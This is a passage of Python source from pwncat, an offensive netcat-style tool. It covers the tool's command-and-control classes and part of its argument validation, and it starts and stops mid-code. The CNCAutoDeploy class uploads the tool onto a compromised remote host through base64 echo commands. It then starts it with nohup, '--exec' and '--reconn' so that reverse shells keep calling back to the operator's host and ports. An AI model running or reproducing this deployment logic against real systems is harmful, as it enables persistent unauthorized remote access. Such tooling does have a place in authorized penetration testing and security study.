    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, network):
        # type: (IONetwork) -> None
        """Instantiate Command and Control class.

        Args:
            network (IONetwork): Instance of IONetwork

        Raises:
            CNCPythonNotFound: if remote Python binary path is not found.
        """
        self.__net = network
        self.__log = logging.getLogger(__name__)
        self.__py3 = sys.version_info >= (3, 0)  # type: bool

        # Along with the response the server might prefix/suffix data
        # such as a PS1 prompt (which might be send first or last with a newline)
        self.__remote_prefix = []  # type: List[bytes]
        self.__remote_suffix = []  # type: List[bytes]

        # Receive timeout value will be adjusted dynamically depending on the
        # speed of the server. We'll start high to allow for slow servers.
        self.__recv_timeout = 0.3
        self.__recv_rounds = 5
        self.__recv_times = []  # type: List[float]

        # [1/3] Check if there is data to be received first (e.g.: greeting)
        self.print_info("Checking if remote sends greeting...")
        greeting = self.send_recv(None, False, False)
        if greeting:
            self.print_raw(b"\n".join(greeting), True)

        # [2/3] Check if the remote sends a prefix with every reply
        self.__set_remote_prefix()

        # [3/3] Find potential Python versions
        if not self.__set_remote_python_path():
            self.print_info("No Python has been found. Aborting and handing over to current shell.")
            raise CNCPythonNotFound()

    # --------------------------------------------------------------------------
    # Print Functions
    # --------------------------------------------------------------------------
    def print_info(self, message=None, newline=True, erase=False):
        # type: (Optional[str], bool, bool) -> None
        """Print a message to the local screen to inform the user.

        Args:
            message (str): The message to print.
            newline (bool): Add a newline?
            erase (bool): Erase previously printed text on the same line.
        """
        end = "\n" if newline else ""
        prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"])
        if message is None:
            message = ""
            prefix = ""

        if erase:
            print("\r" * 1024 + "{}{}".format(prefix, message), end=end)
            sys.stdout.flush()
        else:
            print("{}{}".format(prefix, message), end=end)
            sys.stdout.flush()

    def print_raw(self, message, newline):
        # type: (bytes, bool) -> None
        """Print a message to the local screen without color/prefix.

        Args:
            message (bytes): The message to print.
            newline (bool): Add a newline?
        """
        if self.__py3:
            end = b"\n" if newline else b""
            sys.stdout.buffer.write(b"".join([message, end]))
        else:
            end = "\n" if newline else ""  # type: ignore
            print(message, end=end)  # type: ignore

        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    # --------------------------------------------------------------------------
    # Network Functions
    # --------------------------------------------------------------------------
    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        return self.__net.net.send(data)

    def flush_receive(self):
        # type: () -> List[bytes]
        """Try to reveive everything which is currently being sent from remote.

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        self.print_info("Flushing receive buffer (this can take some time) ...")

        self.send(b"\n")
        data1 = self.send_recv(None, False, False)
        data2 = self.send_recv(None, False, False)

        self.print_info("Flushing receive buffer done.")
        return data1 + data2

    def send_recv(self, data, strip_suffix=True, strip_echo=False):
        # type: (Optional[bytes], bool, bool) -> List[bytes]
        """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

        Args:
            data (None|bytes): The data to send. If None, will skip sending.
            strip_suffix (bool): Strip remote suffix from received data?
            strip_echo (bool): Also remove 'data' from output if server has echo'ed it?

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # [1/4] Send
        if data is not None:
            self.__net.net.send(data)

        # [2/4] Receive actual reply
        responses = []

        # Setup timer and current receive round
        time_start = datetime.now()
        curr_round = 0

        while curr_round < self.__recv_rounds:
            try:
                response = self.__net.net.receive()
            except socket.timeout:
                time.sleep(self.__recv_timeout)
                time_step = datetime.now()
                time_diff = time_step - time_start

                self.__log.trace(  # type: ignore
                    "Timeout: Receive timed out after %f sec in %d/%d rounds",
                    time_diff.total_seconds(),
                    curr_round + 1,
                    self.__recv_rounds,
                )
                curr_round += 1
            # On successful read, we can determine to adjust timings.
            else:
                time_end = datetime.now()
                time_diff = time_end - time_start

                self.__recv_times.append(time_diff.total_seconds())
                self.__log.trace(  # type: ignore
                    "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds",
                    time_diff.total_seconds(),
                    sum(self.__recv_times) / len(self.__recv_times),
                    curr_round + 1,
                    self.__recv_rounds,
                )

                # Retries were required
                prev_recv_timeout = self.__recv_timeout
                if curr_round > 1:
                    self.__recv_timeout += time_diff.total_seconds()
                # No retries requred
                else:
                    self.__recv_timeout = time_diff.total_seconds() / 2

                self.__log.trace(  # type: ignore
                    "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec",
                    prev_recv_timeout,
                    self.__recv_timeout,
                )

                # Add response
                if response:
                    responses.append(response)

                # Reset the start time and round
                time_start = datetime.now()
                curr_round = 0

        # Return if already empty
        if not responses:
            return responses

        # Response could be in one of the below listed formats:
        # 1. response could be one line per element
        # 2. reposnse could be multiple lines per element
        # 3. response cloud be single characters per element
        # But we want to make sure that we always get one line per element,
        # so we normalize it

        # First: Join lines which do not have line endings
        self.__log.debug("Normalize recv before (1): %s", repr(responses))
        normalized = []
        has_eol = True
        for line in responses:
            if has_eol:
                normalized.append(line)
            else:
                normalized[-1] = normalized[-1] + line
            # Determine what to do next iteration
            if line.endswith(b"\r\n"):
                has_eol = True
            elif line.endswith(b"\n"):
                has_eol = True
            elif line.endswith(b"\r"):
                has_eol = True
            else:
                has_eol = False
        responses = normalized
        self.__log.debug("Normalize recv after  (1): %s", repr(responses))

        # Second: Separate lines which have line endings
        self.__log.debug("Normalize recv before (2): %s", repr(responses))
        normalized = []
        for line in responses:
            line = line.rstrip(b"\r\n")
            line = line.rstrip(b"\n")
            line = line.rstrip(b"\r")
            line = line.lstrip(b"\r\n")
            line = line.lstrip(b"\n")
            line = line.lstrip(b"\r")
            if b"\r\n" in line:
                for newline in line.split(b"\r\n"):
                    normalized.append(newline)
            elif b"\n" in line:
                for newline in line.split(b"\n"):
                    normalized.append(newline)
            elif b"\r" in line:
                for newline in line.split(b"\r"):
                    normalized.append(newline)
            else:
                normalized.append(line)
        responses = normalized
        self.__log.debug("Normalize recv after  (2): %s", repr(responses))

        # [3/4] Remove remote ends suffix (if it sends something like it)
        # We iterate reversed of responses and check if the new line suffix(es)
        # are present at the end.
        # This is because the suffix(es) is always received last.
        if self.__remote_suffix and strip_suffix:
            # If multiple suffix lines are send we will first strip x-1 suffix lines
            if len(self.__remote_suffix) > 1:
                lines_to_strip = len(self.__remote_suffix) - 1
                self.__log.debug("Remove suffix before (1): %s", repr(responses))
                responses = responses[:-lines_to_strip]
                self.__log.debug("Remove suffix after  (1): %s", repr(responses))

            # Return if already empty
            if not responses:
                return responses

            # Clean up the last response line with first suffix line
            self.__log.debug("Remove suffix before (2): %s", repr(responses))
            responses[-1] = responses[-1].rstrip(self.__remote_suffix[0])
            self.__log.debug("Remove suffix after  (2): %s", repr(responses))

            # Ensure empty elements are removed
            self.__log.debug("Remove suffix before (3): %s", repr(responses))
            responses = [item for item in responses if item]
            self.__log.debug("Remove suffix after  (3): %s", repr(responses))

        # [4/4] Some server also echo back what we've send, so if we did send something
        # we need to strip this off as well
        if data is not None and strip_echo:
            for idx, item in enumerate(responses):
                if data in responses[idx]:
                    del responses[idx]
                elif data.rstrip() in responses[idx]:
                    del responses[idx]
                # Ensure empty elements are removed
                responses = [item for item in responses if item]

        # Return list of respones
        return responses

    # --------------------------------------------------------------------------
    # High-level Functions
    # --------------------------------------------------------------------------
    def remote_command(self, command, output):
        # type: (str, bool) -> Optional[List[bytes]]
        """Run remote command with correct linefeeds and receive response lines.

        Args:
            command (str): The command to execute on the remote end.
            output (bool): Receive output from command?
        """
        command = command.rstrip("\r\n")
        command = command.rstrip("\r")
        command = command.rstrip("\n")
        command = command + "\n"
        if output:
            return self.send_recv(StringEncoder.encode(command), True, True)
        self.send(StringEncoder.encode(command))
        return None

    def create_remote_tmpfile(self):
        # type: () -> Optional[str]
        """OS-independent remote tempfile creation.

        Returns:
            str or None: Returns path on success or None on error.
        """
        self.flush_receive()
        self.print_info("Creating tmpfile:", False, True)

        command = []
        command.append("{} -c '".format(self.__remote_python))
        command.append("import tempfile;")
        command.append("h,f=tempfile.mkstemp();")
        if self.__remote_py3:
            command.append("print(f);")
        else:
            command.append("print f;")
        command.append("'")
        response = self.remote_command("".join(command), True)

        # All good
        if response is not None and len(response) == 1:
            tmpfile = StringEncoder.decode(response[0]).rstrip()
            self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
            return tmpfile

        # Something went wrong with stripping prefix from server, we need to manually
        # check if creation was successful.
        if response is not None and len(response) > 1:
            # A bit fuzzy, but we try a few times
            for _ in range(5):
                self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True)
                for candidate in response:
                    tmpfile = StringEncoder.decode(candidate).rstrip()
                    if self.remote_file_exists(tmpfile):
                        self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True)
                        return tmpfile

        self.print_info("Creating tmpfile: Failed", True, True)
        self.print_info("Response: {}".format(repr(response)))
        return None

    def remote_file_exists(self, remote_path):
        # type: (str) -> bool
        """Ensure given remote path exists as a file on remote end.

        Args:
            remote_path (str): Path of file to check.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        self.flush_receive()

        # String should be short as an unstable remote might send small chunks
        unique_string = "_pwncat_"
        response = self.remote_command(
            'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True
        )
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate) == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        response = self.flush_receive()
        if response is not None:
            for candidate in response:
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
                if StringEncoder.decode(candidate).rstrip() == unique_string:
                    return True
        return False

    def upload(self, lpath, rpath):
        # type: (str, str) -> bool
        """OS-independent upload of a local file to a remote path.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        assert self.__remote_python is not None
        assert self.__remote_py3 is not None

        rpath_b64 = self.create_remote_tmpfile()
        self.flush_receive()
        if rpath_b64 is None:
            return False
        if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True):
            return False
        if not self.__remote_base64_decode(rpath_b64, rpath):
            return False
        return True

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_remote_prefix(self):
        # type: () -> None
        """Determines if the remote always sends a specific prefix with its other data."""
        self.__remote_prefix = []
        self.__remote_suffix = []

        has_suffix = False

        self.print_info("Checking if remote sends prefix/suffix to every request...")
        response = self.send_recv(b'echo "__pwn__"\n')
        expected = b"__pwn__"

        if response:
            for line in response:
                # If the line begins with our expected response, all data after that
                # is a suffix that the server might be sending.
                if re.match(expected, line):
                    has_suffix = True
                    # If bytes are still left after our response, add it
                    if line.replace(expected, b"", 1):
                        self.__remote_suffix.append(line.replace(expected, b"", 1))
                    continue
                if has_suffix:
                    self.__remote_suffix.append(line)

        # Ensure empty elements are removed
        self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix))
        self.__remote_suffix = [item for item in self.__remote_suffix if item]
        self.__log.debug("Set suffix after:  %s", repr(self.__remote_suffix))

        if self.__remote_prefix:
            self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix)))
            for line in self.__remote_prefix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send prefix")
        if self.__remote_suffix:
            self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix)))
            for line in self.__remote_suffix:
                self.print_raw(repr(line).encode(), True)
        else:
            self.print_info("Remote does not send suffix")

    def __get_remote_python_version(self, path):
        # type: (str) -> Optional[str]
        """Get remote Python version by path.

        Args:
            path (str): Path to potential python binary.

        Returns:
            Optional[str]: Python version string or None if not found.
        """
        command = []
        command.append("{} -c '".format(path))
        command.append("from __future__ import print_function;")
        command.append("import sys;")
        command.append("v=sys.version_info;")
        command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'')

        response = self.remote_command("".join(command), True)

        if response is not None and response:
            for line in response:
                match = re.search(b"^([.0-9]+)", line)
                # Potential version candidate
                if match:
                    version = StringEncoder.decode(match.group(1))
                    if version[0] in ["2", "3"]:
                        return version
        return None

    def __set_remote_python_path(self):
        # type: () -> bool
        """Enumerate remote Python binary.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # TODO: Make windows compatible
        # [1/2] 'which' method
        for name in self.__PYTHON_NAMES:
            self.print_info("Probing for: which {}".format(name))
            response = self.remote_command("which {} 2>/dev/null".format(name), True)
            if response is not None and response:
                for line in response:
                    path = StringEncoder.decode(line)
                    self.print_info("Potential path: {}".format(path))
                    version = self.__get_remote_python_version(path)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = path
                    return True

        # TODO: Make windows compatible
        # [2/2] Absolute path method
        for path in self.__PYTHON_PATHS:
            for name in self.__PYTHON_NAMES:

                python = path + "/" + name
                self.print_info("Probing for: {}".format(python))
                rpath_lines = self.remote_command(
                    "test -f {p} && echo {p} || echo".format(p=python), True
                )
                if rpath_lines is not None and rpath_lines:
                    # Reset current round
                    path_found = False

                    # We expect a length of one, but we handle errors as well.
                    for rpath_line in rpath_lines:
                        if StringEncoder.decode(rpath_line).rstrip() == python:
                            path_found = True
                            break
                    if not path_found:
                        continue

                    # Potential python candidate
                    self.print_info("Potential path: {}".format(python))
                    version = self.__get_remote_python_version(python)
                    if version is None:
                        continue

                    if version[0] == "2":
                        self.__remote_py3 = False
                    if version[0] == "3":
                        self.__remote_py3 = True
                    self.print_info("Found valid Python{} version: {}".format(version[0], version))
                    self.__remote_python = python
                    return True
        return False

    def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False):
        # type: (str, str, bool) -> bool
        """Upload a local file to a base64 encoded remote file.

        Args:
            lpath (str): Local path of the file.
            rpath (str): Remote path, where to upload the base64 encoded file.
            at_once (bool): Send all data at once.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        first = True
        data = []  # type: List[str]

        with open(lpath, "r") as fhandle:
            lines = fhandle.readlines()
            count = len(lines)
            curr = 1
            for line in lines:
                if not at_once:
                    self.print_info(
                        "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True
                    )
                b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line)))
                if first:
                    if at_once:
                        data.append('echo "{}" > "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False)
                    first = False
                else:
                    if at_once:
                        data.append('echo "{}" >> "{}"'.format(b64, rpath))
                    else:
                        self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False)
                curr += 1

        if at_once:
            self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1))
            self.remote_command("\n".join(data), False)
        else:
            self.print_info()

        # TODO: md5 check if this is legit
        return True

    def __remote_base64_decode(self, rpath_source, rpath_target):
        # type: (str, str) -> bool
        """Decode a remote base64 encoded file with pure Python.

        Args:
            rpath_source (str): The remote path to the existing base64 encoded file.
            rpath_target (str): The remote path to the desired base64 decoded file.

        Returns:
            bool: Returns `True` on success or `False` on failure.
        """
        self.flush_receive()

        command = []
        command.append("{} -c 'import base64;".format(self.__remote_python))
        command.append('f=open("{}", "r");'.format(rpath_source))
        command.append("lines = f.readlines();")
        if self.__remote_py3:
            command.append(
                'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\''
            )
        else:
            command.append('print "".join([base64.b64decode(l) for l in lines]);\'')
        command.append('> "{}"'.format(rpath_target))

        self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target))
        self.remote_command("".join(command), False)
        # TODO: validate via md5
        return True


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (3/3) CNCAutoDeploy
# -------------------------------------------------------------------------------------------------
class CNCAutoDeploy(CNC):
    """Command&Control pwncat auto deployment class."""

    def __init__(
        self,
        network,  # type: IONetwork
        cmd,  # type: str
        host,  # type: str
        ports,  # type: List[int]
    ):
        # type: (...) -> None
        try:
            super(CNCAutoDeploy, self).__init__(network)
        except CNCPythonNotFound:
            return

        local_path = os.path.abspath(__file__)
        remote_path = self.create_remote_tmpfile()
        remote_stdout = self.create_remote_tmpfile()
        remote_stderr = self.create_remote_tmpfile()
        if remote_path is None:
            self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.")
            return
        if not self.upload(local_path, remote_path):
            self.print_info("Unable to upload file. Aborting and handing over to current shell.")
            return
        self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr)

        # We need to wait some time for slow severs
        self.print_info("Waiting for socket")
        time.sleep(2)
        self.flush_receive()

        self.print_info("Done. Handing over to current shell.")
        return

    def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr):
        # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None
        for port in ports:
            command = []
            command.append("nohup")
            command.append(self.remote_python)
            command.append(remote_path)
            command.append(host)
            command.append(str(port))
            command.append("--exec {}".format(binary))
            command.append("--reconn")
            command.append("--reconn-wait 1")
            if stdout is not None and stderr is not None:
                command.append("> {}".format(stdout))
                command.append("2> {}".format(stderr))
            elif stdout is not None:
                command.append("> {} 2>&1".format(stdout))
            elif stderr is not None:
                command.append("> {} 2>&1".format(stderr))
            command.append("&")
            data = " ".join(command)
            print("Starting pwncat rev shell: {}".format(data))
            self.remote_command(data, False)


# #################################################################################################
# #################################################################################################
# ###
# ###   10 / 11   C O M M A N D   L I N E   A R G U M E N T S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [19/11 COMMAND LINE ARGUMENTS]: (1/2) Helper Functions
# -------------------------------------------------------------------------------------------------
def get_version():
    # type: () -> str
    """Return version information."""
    return """%(prog)s: Version %(version)s (%(url)s) by %(author)s""" % (
        {"prog": APPNAME, "version": VERSION, "url": APPREPO, "author": "cytopia"}
    )


class ArgValidator(object):
    """Validate command line arguments."""

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def __get_port_list_by_comma(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a comma separated string or empty list if invalid."""
        ports = []
        match = re.search(r"^[0-9]+(,([0-9]+))*$", value)
        if match is not None:
            ports = [int(port) for port in match.group(0).split(",")]
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_range(value):
        # type: (str) -> List[int]
        """Returns a list of ports from a range string or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\-[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("-")]
            ports = list(range(ranges[0], ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    @staticmethod
    def __get_port_list_by_incr(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an increment or empty list if invalid."""
        ports = []  # type: List[int]
        match = re.search(r"^[0-9]+\+[0-9]+$", value)
        if match is not None:
            ranges = [int(r) for r in match.group(0).split("+")]
            ports = list(range(ranges[0], ranges[0] + ranges[1] + 1))
            for port in ports:
                if not ArgValidator.is_valid_port(port):
                    return []
        return ports

    # --------------------------------------------------------------------------
    # Helper Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def is_valid_port(value):
        # type: (int) -> bool
        """Returns True if a given value is a valid port."""
        return 0 < value < 65536

    @staticmethod
    def is_valid_port_list(value):
        # type: (str) -> bool
        """Returns True if a given value is a valid port list by comma or range."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        # XOR - only one method (comma, range or increment) is allowed
        if cports and not rports and not iports:
            return True
        if rports and not cports and not iports:
            return True
        if iports and not cports and not rports:
            return True
        return False

    @staticmethod
    def get_port_list_from_string(value):
        # type: (str) -> List[int]
        """Returns a list of ports from an comma, range or increment."""
        cports = ArgValidator.__get_port_list_by_comma(value)
        rports = ArgValidator.__get_port_list_by_range(value)
        iports = ArgValidator.__get_port_list_by_incr(value)
        return cports + rports + iports

    # --------------------------------------------------------------------------
    # Generic Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_port(value):
        # type: (str) -> int
        """Check argument for valid port."""
        if not ArgValidator.is_valid_port(int(value)):
            raise argparse.ArgumentTypeError("%s is an invalid port number." % value)
        return int(value)

    @staticmethod
    def type_port_list(value):
        # type: (str) -> List[int]
        """Check argument for valid port list separated by comma or range number."""
        rports = ArgValidator.__get_port_list_by_range(value)
        cports = ArgValidator.__get_port_list_by_comma(value)
        iports = ArgValidator.__get_port_list_by_incr(value)

        # Only use comma, range or increment!
        if (rports and cports) or (rports and iports) or (cports and iports):
            raise argparse.ArgumentTypeError(
                "%s is invalid. Can only use comma, range or increment." % value
            )
        if not rports and not cports and not iports:
            raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value)
        # Return whichever has a value
        return rports + cports + iports

    @staticmethod
    def type_file_content(value):
        # type: (str) -> str
        """Check argument for valid file content (file must exist and be readable)."""
        if not os.path.isfile(value):
            raise argparse.ArgumentTypeError("File not found: %s" % value)
        with open(value, mode="r") as fhandle:
            script = fhandle.read()
        return script

    # --------------------------------------------------------------------------
    # Specific Type Functions
    # --------------------------------------------------------------------------
    @staticmethod
    def type_tos(value):
        # type: (str) -> str
        """Check argument for valid --tos value."""
        if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]:
            raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value)
        return value

    @staticmethod
    def type_info(value):
        # type: (str) -> str
        """Check argument for valid --info value."""
        if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]:
            raise argparse.ArgumentTypeError("%s is an invalid info definition." % value)
        return value

    @staticmethod
    def type_crlf(value):
        # type: (Optional[str]) -> Optional[str]
        """Check argument for valid --crlf value."""
        if value is None:
            return None
        if value.lower() in ["crlf", "lf", "cr", "no"]:
            return value.lower()
        raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value)

    @staticmethod
    def type_color(value):
        # type: (str) -> str
        """Check argument for valid --color value."""
        if value not in ["auto", "always", "never"]:
            raise argparse.ArgumentTypeError("%s is an invalid color definition." % value)
        return value

    @staticmethod
    def type_local(value):
        # type: (str) -> str
        """Check argument for valid -L/--local value."""
        match = re.search(r"^(.+:)?([0-9]+)$", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)

        if match.group(1) is None:
            return ":" + match.group(2)
        return value

    @staticmethod
    def type_remote(value):
        # type: (str) -> str
        """Check argument for valid -R/--remote value."""
        match = re.search(r"(.+):(.+)", value)
        if match is None or len(match.groups()) != 2:
            raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value)
        if not ArgValidator.is_valid_port(int(match.group(2))):
            raise argparse.ArgumentTypeError("%s is not a valid port." % value)
        return value

    @staticmethod
    def type_self_inject(value):
        # type: (str) -> str
        """Check argument for valid --self-inject value."""
        opts = value.split(":")
        if len(opts) != 3: